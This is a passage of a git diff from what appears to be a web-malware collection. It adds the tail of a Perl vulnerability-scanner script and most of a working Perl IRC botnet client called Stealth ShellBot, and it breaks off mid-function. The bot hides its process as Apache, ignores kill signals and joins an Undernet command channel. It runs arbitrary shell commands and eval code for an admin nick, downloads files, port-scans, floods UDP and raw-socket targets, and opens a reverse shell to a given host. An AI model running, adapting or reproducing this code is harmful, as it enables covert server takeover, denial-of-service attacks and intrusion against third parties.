Firefox/1.0.6", + "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7", + "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7", + "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4", + "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4", + "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5", + "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1", + "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1", + "Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1", + "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1", + "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1", + "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2", + "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0", + "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b", + "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0", + "Mozilla/3.0 (OS/2; U)", + "Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)", + "Mozilla/4.61 (Macintosh; I; PPC)", + "Mozilla/4.61 [en] (OS/2; U)", + "Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)", + "Mozilla/4.8 [en] (Windows NT 5.0; U)" ); +return(@ret); +} + +sub GoogleDomains(){ + my @ret = ( + "ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","fi","fr","gr","com.hk", + "ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru","com.sg", + "com.tr","com.tw","com.ua","co.uk","hu" + ); + return(@ret); +} + +sub SiteDomains(){ + my @dom = ( + "de","nl","be","dk","sk","com","net","org", + "info","uk","se","it","fr","hu","pl","ru", + "ro","be","cz","edu","jp" + ); +} + +sub Paths(){ + my @path = ( + "index.php?","index2.php?","index3.php?","home.php?","menu.php?","file.php?","config.php?","contact.php?","about.php?" + ); +} + +#sub sitebypass(){ +# my $dork=@_; +# $dork=&Key($dork); +# my @site=( +# "at","be","ca","de","fr", +# "it","nl","pl","ru","mx","edu" +# ); +# +# my @pids; +# my $i=0; +# foreach my $sites(@site) +# { +# $pids[$i]=fork(); +# if($pids[$i]==0) +# { +# my $engine=&engine($dork,$sites); +# exit(0); +# } +# $i++; +# } +# for($i=0;$b<=$i;$b++){ +# waitpid($pids[$b],0); +# } +#push(@result, $engine ); +#return(@result) +#} \ No newline at end of file diff --git a/web-malware-collection-master/Bots/Perl/sexi.txt b/web-malware-collection-master/Bots/Perl/sexi.txt new file mode 100755 index 0000000..5905167 --- /dev/null +++ b/web-malware-collection-master/Bots/Perl/sexi.txt @@ -0,0 +1,968 @@ +#!/usr/bin/perl +# - Adicionado comando !estatisticas ; +# - Alterado o comando @pacota para @oldpack; +# - Adicionado dois novos pacotadores: @udp e @udpfaixa ; +# - Adicionado um novo portscan -> @fullportscan ; +# - Adicionado comando @conback com suporte para Windows/Unix :D; +# - Adicionado comando: !sair para finalizar o bot; +# - Adicionado comando: !novonick para trocar o nick do bot por um novo aleatorio; +# - Adicionado comando !entra e !sai ; +# - Adicionado comando @download ; +# - Adicionado comando !pacotes para ativar/desativar pacotes :); + +########## CONFIGURACAO ############ +my $processo = '/usr/local/apache/bin/httpd -DSSL'; + +$servidor='eu.undernet.org' unless $servidor; +my $porta='6667'; +my @canais=("#OasteaDomnului"); +my @adms=("thaG0d"); +my @auth=("*!*@thagod.users.undernet.org"); + +# Anti Flood ( 6/3 Recomendado ) +my $linas_max=6; +my $sleep=3; + +my $nick = getnick(); +my $ircname = getnick(); +my $realname = getnick(); + +my $acessoshell = 1; +######## Stealth ShellBot ########## +my $prefixo = "#"; +my $estatisticas = 0; +my $pacotes = 1; +#################################### + +my $VERSAO = '0.2a'; + +$SIG{'INT'} = 'IGNORE'; +$SIG{'HUP'} = 'IGNORE'; +$SIG{'TERM'} = 'IGNORE'; +$SIG{'CHLD'} = 'IGNORE'; +$SIG{'PS'} = 'IGNORE'; + +use IO::Socket; +use Socket; +use IO::Select; +chdir("/"); +$servidor="$ARGV[0]" if $ARGV[0]; +$0="$processo"."\0"; +my $pid=fork; +exit if $pid; +die "Problema com o fork: $!" unless defined($pid); + +my %irc_servers; +my %DCC; +my $dcc_sel = new IO::Select->new(); + +##################### +# Stealth Shellbot # +##################### + + + +sub getnick { + #my $retornonick = &_get("http://websurvey.burstmedia.com/names.txt"); + #return $retornonick; + return "Spacaru".int(rand(1000)); +} + + +sub getident { + my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php"); + my $identchance = int(rand(100)); + if ($identchance > 30) { + return $nick; + } else { + return $retornoident; + } + return $retornoident; +} + +sub getname { + my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php"); + return $retornoname; +} + +# IDENT TEMPORARIA - Pegar ident da url ta bugando o_o +sub getident2 { + my $length=shift; + $length = 3 if ($length < 3); + + my @chars=('a'..'z','A'..'Z','1'..'9'); + foreach (1..$length) + { + $randomstring.=$chars[rand @chars]; + } + return $randomstring; +} + +sub getstore ($$) +{ + my $url = shift; + my $file = shift; + + $http_stream_out = 1; + open(GET_OUTFILE, "> $file"); + %http_loop_check = (); + _get($url); + close GET_OUTFILE; + return $main::http_get_result; +} + +sub _get +{ + my $url = shift; + my $proxy = ""; + grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV; + if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) { + my $host = $1; + my $port = $2 || 80; + my $path = $3; + $path = "/" unless defined($path); + return _trivial_http_get($host, $port, $path); + } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) { + my $host = $1; + my $port = $2; + my $path = $url; + return _trivial_http_get($host, $port, $path); + } else { + return undef; + } +} + + +sub _trivial_http_get +{ + my($host, $port, $path) = @_; + my($AGENT, $VERSION, $p); + #print "HOST=$host, PORT=$port, PATH=$path\n"; + + $AGENT = "get-minimal"; + $VERSION = "20000118"; + + $path =~ s/ /%20/g; + + require IO::Socket; + local($^W) = 0; + my $sock = IO::Socket::INET->new(PeerAddr => $host, + PeerPort => $port, + Proto => 'tcp', + Timeout => 60) || return; + $sock->autoflush; + my $netloc = $host; + $netloc .= ":$port" if $port != 80; + my $request = "GET $path HTTP/1.0\015\012" + . "Host: $netloc\015\012" + . "User-Agent: $AGENT/$VERSION/u\015\012"; + $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache); + $request .= "\015\012"; + print $sock $request; + + my $buf = ""; + my $n; + my $b1 = ""; + while ($n = sysread($sock, $buf, 8*1024, length($buf))) { + if ($b1 eq "") { # first block? + $b1 = $buf; # Save this for errorcode parsing + $buf =~ s/.+?\015?\012\015?\012//s; # zap header + } + if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; } + } + return undef unless defined($n); + + $main::http_get_result = 200; + if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) { + $main::http_get_result = $1; + # print "CODE=$main::http_get_result\n$b1\n"; + if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/ +) { + # redirect + my $url = $1; + return undef if $http_loop_check{$url}++; + return _get($url); + } + return undef unless $main::http_get_result =~ /^2/; + } + + return $buf; +} + +############################# +# B0tchZ na veia ehehe :P # +############################# + +$sel_cliente = IO::Select->new(); +sub sendraw { + if ($#_ == '1') { + my $socket = $_[0]; + print $socket "$_[1]\n"; + } else { + print $IRC_cur_socket "$_[0]\n"; + } +} + +sub conectar { + my $meunick = $_[0]; + my $servidor_con = $_[1]; + my $porta_con = $_[2]; + + my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); + if (defined($IRC_socket)) { + $IRC_cur_socket = $IRC_socket; + + $IRC_socket->autoflush(1); + $sel_cliente->add($IRC_socket); + + $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; + $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; + $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; + $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; + nick("$meunick"); + sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); + sleep 2; + } + +} +my $line_temp; +while( 1 ) { + while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } + delete($irc_servers{''}) if (defined($irc_servers{''})); + &DCC::connections; + my @ready = $sel_cliente->can_read(0.6); + next unless(@ready); + foreach $fh (@ready) { + $IRC_cur_socket = $fh; + $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; + $nread = sysread($fh, $msg, 4096); + if ($nread == 0) { + $sel_cliente->remove($fh); + $fh->close; + delete($irc_servers{$fh}); + } + @lines = split (/\n/, $msg); + + for(my $c=0; $c<= $#lines; $c++) { + $line = $lines[$c]; + $line=$line_temp.$line if ($line_temp); + $line_temp=''; + $line =~ s/\r$//; + unless ($c == $#lines) { + parse("$line"); + } else { + if ($#lines == 0) { + parse("$line"); + } elsif ($lines[$c] =~ /\r$/) { + parse("$line"); + } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { + parse("$line"); + } else { + $line_temp = $line; + } + } + } + } +} + +sub parse { + my $servarg = shift; + if ($servarg =~ /^PING \:(.*)/) { + sendraw("PONG :$1"); + } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { + my $pn=$1; my $onde = $4; my $args = $5; + if ($args =~ /^\001VERSION\001$/) { + notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001"); + } + elsif ($args =~ /^\001PING\s+(\d+)\001$/) { + notice("$pn", "\001PONG\001"); + } + elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) { + if ($onde eq "$meunick"){ + shell("$pn", "$args"); + } + elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) { + my $natrix = $1; + my $arg = $2; + if ($arg =~ /^\!(.*)/) { + ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/); + } elsif ($arg =~ /^\@(.*)/) { + $ondep = $onde; + $ondep = $pn if $onde eq $meunick; + bfunc("$ondep","$1"); + } else { + shell("$onde", "$arg"); + } + } + } + } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { + if (lc($1) eq lc($meunick)) { + $meunick=$4; + $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; + } + } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { + $meunick = getnick(); + nick("$meunick"); + } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { + $meunick = $2; + $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; + $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; + foreach my $canal (@canais) { + sendraw("JOIN $canal"); + } + } +} + +sub bfunc { + my $printl = $_[0]; + my $funcarg = $_[1]; + if (my $pid = fork) { + waitpid($pid, 0); + } else { + if (fork) { + exit; + } else { + if ($funcarg =~ /^portscan (.*)/) { + my $hostip="$1"; + my @portas=("21","22","23","25","53","80","110","143"); + my (@aberta, %porta_banner); + foreach my $porta (@portas) { + my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4); + if ($scansock) { + push (@aberta, $porta); + $scansock->close; + } + } + if (@aberta) { + sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta"); + } else { + sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada."); + } + } + + elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) { + getstore("$1", "$2"); + sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas); + } + + elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) { + my $hostname="$1"; + my $portainicial = "$2"; + my $portafinal = "$3"; + my (@abertas, %porta_banner); + foreach my $porta ($portainicial..$portafinal) + { + my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4); + if ($scansock) { + push (@abertas, $porta); + $scansock->close; + if ($estatisticas) { + sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname"); + } + } + } + if (@abertas) { + sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas"); + } else { + sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada."); + } + } + + # Duas Vers.es simplificada do meu Tr0x ;D + elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) { + return unless $pacotes; + socket(Tr0x, PF_INET, SOCK_DGRAM, 17); + my $alvo=inet_aton("$1"); + my $porta = "$2"; + my $tempo = "$3"; + my $pacote; + my $pacotese; + my $fim = time + $tempo; + my $pacota = 1; + while (($pacota == "1") && ($pacotes == "1")) { + $pacota = 0 if ((time >= $fim) && ($tempo != "0")); + $pacote=$rand x $rand x $rand; + $porta = int(rand 65000) +1 if ($porta == "0"); + send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1"); + } + if ($estatisticas) + { + sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s"); + sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese"); + sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1"); + } + } + + elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) { + return unless $pacotes; + socket(Tr0x, PF_INET, SOCK_DGRAM, 17); + my $faixaip="$1"; + my $porta = "$2"; + my $tempo = "$3"; + my $pacote; + my $pacotes; + my $fim = time + $tempo; + my $pacota = 1; + my $alvo; + while ($pacota == "1") { + $pacota = 0 if ((time >= $fim) && ($tempo != "0")); + for (my $faixa = 1; $faixa <= 255; $faixa++) { + $alvo = inet_aton("$faixaip.$faixa"); + $pacote=$rand x $rand x $rand; + $porta = int(rand 65000) +1 if ($porta == "0"); + send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1"); + if ($faixa >= 255) { + $faixa = 1; + } + } + } + if ($estatisticas) + { + sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s"); + sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese"); + sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo"); + } + } + + # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p + elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) { + my $host = "$1"; + my $porta = "$2"; + my $proto = getprotobyname('tcp'); + my $iaddr = inet_aton($host); + my $paddr = sockaddr_in($porta, $iaddr); + my $shell = "/bin/sh -i"; + if ($^O eq "MSWin32") { + $shell = "cmd.exe"; + } + socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; + connect(SOCKET, $paddr) or die "connect: $!"; + open(STDIN, ">&SOCKET"); + open(STDOUT, ">&SOCKET"); + open(STDERR, ">&SOCKET"); + system("$shell"); + close(STDIN); + close(STDOUT); + close(STDERR); + + if ($estatisticas) + { + sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta"); + } + } + + elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) { + return unless $pacotes; + my ($dtime, %pacotes) = attacker("$1", "$2", "$3"); + $dtime = 1 if $dtime == 0; + my %bytes; + $bytes{igmp} = $2 * $pacotes{igmp}; + $bytes{icmp} = $2 * $pacotes{icmp}; + $bytes{o} = $2 * $pacotes{o}; + $bytes{udp} = $2 * $pacotes{udp}; + $bytes{tcp} = $2 * $pacotes{tcp}; + unless ($estatisticas) + { + sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002"); + sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde."); + sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o})); + sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o})); + sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps"); + } + } + exit; + } + } +} + +sub ircase { + my ($kem, $printl, $case) = @_; + + if ($case =~ /^join (.*)/) { + j("$1"); + } + elsif ($case =~ /^part (.*)/) { + p("$1"); + } + elsif ($case =~ /^rejoin\s+(.*)/) { + my $chan = $1; + if ($chan =~ /^(\d+) (.*)/) { + for (my $ca = 1; $ca <= $1; $ca++ ) { + p("$2"); + j("$2"); + } + } else { + p("$chan"); + j("$chan"); + } + } + elsif ($case =~ /^op/) { + op("$printl", "$kem") if $case eq "op"; + my $oarg = substr($case, 3); + op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); + } + elsif ($case =~ /^deop/) { + deop("$printl", "$kem") if $case eq "deop"; + my $oarg = substr($case, 5); + deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); + } + elsif ($case =~ /^voice/) { + voice("$printl", "$kem") if $case eq "voice"; + $oarg = substr($case, 6); + voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); + } + elsif ($case =~ /^devoice/) { + devoice("$printl", "$kem") if $case eq "devoice"; + $oarg = substr($case, 8); + devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); + } + elsif ($case =~ /^msg\s+(\S+) (.*)/) { + msg("$1", "$2"); + } + elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { + for (my $cf = 1; $cf <= $1; $cf++) { + msg("$2", "$3"); + } + } + elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { + for (my $cf = 1; $cf <= $1; $cf++) { + ctcp("$2", "$3"); + } + } + elsif ($case =~ /^ctcp\s+(\S+) (.*)/) { + ctcp("$1", "$2"); + } + elsif ($case =~ /^invite\s+(\S+) (.*)/) { + invite("$1", "$2"); + } + elsif ($case =~ /^nick (.*)/) { + nick("$1"); + } + elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) { + conectar("$2", "$1", 6667); + } + elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) { + DCC::SEND("$1", "$2"); + } + elsif ($case =~ /^raw (.*)/) { + sendraw("$1"); + } + elsif ($case =~ /^eval (.*)/) { + eval "$1"; + } + elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) { + sleep int(rand($2)); + j("$1"); + } + elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) { + sleep int(rand($2)); + p("$1"); + } + elsif ($case =~ /^sair/) { + quit(); + } + elsif ($case =~ /^novonick/) { + my $novonick = getnick(); + nick("$novonick"); + } + elsif ($case =~ /^estatisticas (.*)/) { + if ($1 eq "on") { + $estatisticas = 1; + msg("$printl", "Estat.sticas ativadas!"); + } elsif ($1 eq "off") { + $estatisticas = 0; + msg("$printl", "Estat.sticas desativadas!"); + } + } + elsif ($case =~ /^pacotes (.*)/) { + if ($1 eq "on") { + $pacotes = 1; + msg("$printl", "Pacotes ativados!") if ($estatisticas == "1"); + } elsif ($1 eq "off") { + $pacotes = 0; + msg("$printl", "Pacotes desativados!") if ($estatisticas == "1"); + } + } +} +sub shell { + return unless $acessoshell; + my $printl=$_[0]; + my $comando=$_[1]; + if ($comando =~ /cd (.*)/) { + chdir("$1") || msg("$printl", "Diret.rio inexistente!"); + return; + } + elsif ($pid = fork) { + waitpid($pid, 0); + } else { + if (fork) { + exit; + } else { + my @resp=`$comando 2>&1 3>&1`; + my $c=0; + foreach my $linha (@resp) { + $c++; + chop $linha; + sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); + if ($c >= "$linas_max") { + $c=0; + sleep $sleep; + } + } + exit; + } + } +} + +#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki +sub attacker { + my $iaddr = inet_aton($_[0]); + my $msg = 'B' x $_[1]; + my $ftime = $_[2]; + my $cp = 0; + my (%pacotes); + $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; + + socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; + socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; + socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; + socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; + return(undef) if $cp == 4; + my $itime = time; + my ($cur_time); + while ( 1 ) { + for (my $porta = 1; $porta <= 65535; $porta++) { + $cur_time = time - $itime; + last if $cur_time >= $ftime; + send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1); + send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1); + send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1); + send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1); + + # DoS ?? :P + for (my $pc = 3; $pc <= 255;$pc++) { + next if $pc == 6; + $cur_time = time - $itime; + last if $cur_time >= $ftime; + socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; + send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1); + } + } + last if $cur_time >= $ftime; + } + return($cur_time, %pacotes); +} + +############# +# ALIASES # +############# + +sub action { + return unless $#_ == 1; + sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001"); +} + +sub ctcp { + return unless $#_ == 1; + sendraw("PRIVMSG $_[0] :\001$_[1]\001"); +} +sub msg { + return unless $#_ == 1; + sendraw("PRIVMSG $_[0] :$_[1]"); +} + +sub notice { + return unless $#_ == 1; + sendraw("NOTICE $_[0] :$_[1]"); +} + +sub op { + return unless $#_ == 1; + sendraw("MODE $_[0] +o $_[1]"); +} +sub deop { + return unless $#_ == 1; + sendraw("MODE $_[0] -o $_[1]"); +} +sub hop { + return unless $#_ == 1; + sendraw("MODE $_[0] +h $_[1]"); +} +sub dehop { + return unless $#_ == 1; + sendraw("MODE $_[0] +h $_[1]"); +} +sub voice { + return unless $#_ == 1; + sendraw("MODE $_[0] +v $_[1]"); +} +sub devoice { + return unless $#_ == 1; + sendraw("MODE $_[0] -v $_[1]"); +} +sub ban { + return unless $#_ == 1; + sendraw("MODE $_[0] +b $_[1]"); +} +sub unban { + return unless $#_ == 1; + sendraw("MODE $_[0] -b $_[1]"); +} +sub kick { + return unless $#_ == 1; + sendraw("KICK $_[0] $_[1] :$_[2]"); +} + +sub modo { + return unless $#_ == 0; + sendraw("MODE $_[0] $_[1]"); +} +sub mode { modo(@_); } + +sub j { &join(@_); } +sub join { + return unless $#_ == 0; + sendraw("JOIN $_[0]"); +} +sub p { part(@_); } +sub part {sendraw("PART $_[0]");} + +sub nick { + return unless $#_ == 0; + sendraw("NICK $_[0]"); +} + +sub invite { + return unless $#_ == 1; + sendraw("INVITE $_[1] $_[0]"); +} +sub topico { + return unless $#_ == 1; + sendraw("TOPIC $_[0] $_[1]"); +} +sub topic { topico(@_); } + +sub whois { + return unless $#_ == 0; + sendraw("WHOIS $_[0]"); +} +sub who { + return unless $#_ == 0; + sendraw("WHO $_[0]"); +} +sub names { + return unless $#_ == 0; + sendraw("NAMES $_[0]"); +} +sub away { + sendraw("AWAY $_[0]"); +} +sub back { away(); } +sub quit { + sendraw("QUIT :$_[0]"); + exit; +} + +# DCC +package DCC; + +sub connections { + my @ready = $dcc_sel->can_read(1); +# return unless (@ready); + foreach my $fh (@ready) { + my $dcctipo = $DCC{$fh}{tipo}; + my $arquivo = $DCC{$fh}{arquivo}; + my $bytes = $DCC{$fh}{bytes}; + my $cur_byte = $DCC{$fh}{curbyte}; + my $nick = $DCC{$fh}{nick}; + + my $msg; + my $nread = sysread($fh, $msg, 10240); + + if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) { + $DCC{$fh}{status} = "Cancelado"; + $DCC{$fh}{ftime} = time; + $dcc_sel->remove($fh); + $fh->close; + next; + } + + if ($dcctipo eq "get") { + $DCC{$fh}{curbyte} += length($msg); + + my $cur_byte = $DCC{$fh}{curbyte}; + + open(FILE, ">> $arquivo"); + print FILE "$msg" if ($cur_byte <= $bytes); + close(FILE); + + my $packbyte = pack("N", $cur_byte); + print $fh "$packbyte"; + + if ($bytes == $cur_byte) { + $dcc_sel->remove($fh); + $fh->close; + $DCC{$fh}{status} = "Recebido"; + $DCC{$fh}{ftime} = time; + next; + } + } elsif ($dcctipo eq "send") { + my $send = $fh->accept; + $send->autoflush(1); + $dcc_sel->add($send); + $dcc_sel->remove($fh); + $DCC{$send}{tipo} = 'sendcon'; + $DCC{$send}{itime} = time; + $DCC{$send}{nick} = $nick; + $DCC{$send}{bytes} = $bytes; + $DCC{$send}{curbyte} = 0; + $DCC{$send}{arquivo} = $arquivo; + $DCC{$send}{ip} = $send->peerhost; + $DCC{$send}{porta} = $send->peerport; + $DCC{$send}{status} = "Enviando"; + + #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon + open(FILE, "< $arquivo"); + my $fbytes; + read(FILE, $fbytes, 1024); + print $send "$fbytes"; + close FILE; +# delete($DCC{$fh}); + } elsif ($dcctipo eq 'sendcon') { + my $bytes_sended = unpack("N", $msg); + $DCC{$fh}{curbyte} = $bytes_sended; + if ($bytes_sended == $bytes) { + $fh->close; + $dcc_sel->remove($fh); + $DCC{$fh}{status} = "Enviado"; + $DCC{$fh}{ftime} = time; + next; + } + open(SENDFILE, "< $arquivo"); + seek(SENDFILE, $bytes_sended, 0); + my $send_bytes; + read(SENDFILE, $send_bytes, 1024); + print $fh "$send_bytes"; + close(SENDFILE); + } + } +} + + +sub SEND { + my ($nick, $arquivo) = @_; + unless (-r "$arquivo") { + return(0); + } + + my $dccark = $arquivo; + $dccark =~ s/[.*\/](\S+)/$1/; + + my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'}; + my $longip = unpack("N",inet_aton($meuip)); + + my @filestat = stat($arquivo); + my $size_total=$filestat[7]; + if ($size_total == 0) { + return(0); + } + + my ($porta, $sendsock); + do { + $porta = int rand(64511); + $porta += 1024; + $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock); + } until $sendsock; + + $DCC{$sendsock}{tipo} = 'send'; + $DCC{$sendsock}{nick} = $nick; + $DCC{$sendsock}{bytes} = $size_total; + $DCC{$sendsock}{arquivo} = $arquivo; + + + &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total"); + +} + +sub GET { + my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_; + return(0) if (-e "$arquivo"); + if (open(FILE, "> $arquivo")) { + close FILE; + } else { + return(0); + } + + my $dccip=fixaddr($dcclongip); + return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1); + my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0); + $dccsock->autoflush(1); + $dcc_sel->add($dccsock); + $DCC{$dccsock}{tipo} = 'get'; + $DCC{$dccsock}{itime} = time; + $DCC{$dccsock}{nick} = $nick; + $DCC{$dccsock}{bytes} = $bytes; + $DCC{$dccsock}{curbyte} = 0; + $DCC{$dccsock}{arquivo} = $arquivo; + $DCC{$dccsock}{ip} = $dccip; + $DCC{$dccsock}{porta} = $dccporta; + $DCC{$dccsock}{status} = "Recebendo"; +} + +# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas +sub Status { + my $socket = shift; + my $sock_tipo = $DCC{$socket}{tipo}; + unless (lc($sock_tipo) eq "chat") { + my $nick = $DCC{$socket}{nick}; + my $arquivo = $DCC{$socket}{arquivo}; + my $itime = $DCC{$socket}{itime}; + my $ftime = time; + my $status = $DCC{$socket}{status}; + $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime}); + + my $d_time = $ftime-$itime; + + my $cur_byte = $DCC{$socket}{curbyte}; + my $bytes_total = $DCC{$socket}{bytes}; + + my $rate = 0; + $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0; + my $porcen = ($cur_byte*100)/$bytes_total; + + my ($r_duv, $p_duv); + if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) { + $r_duv 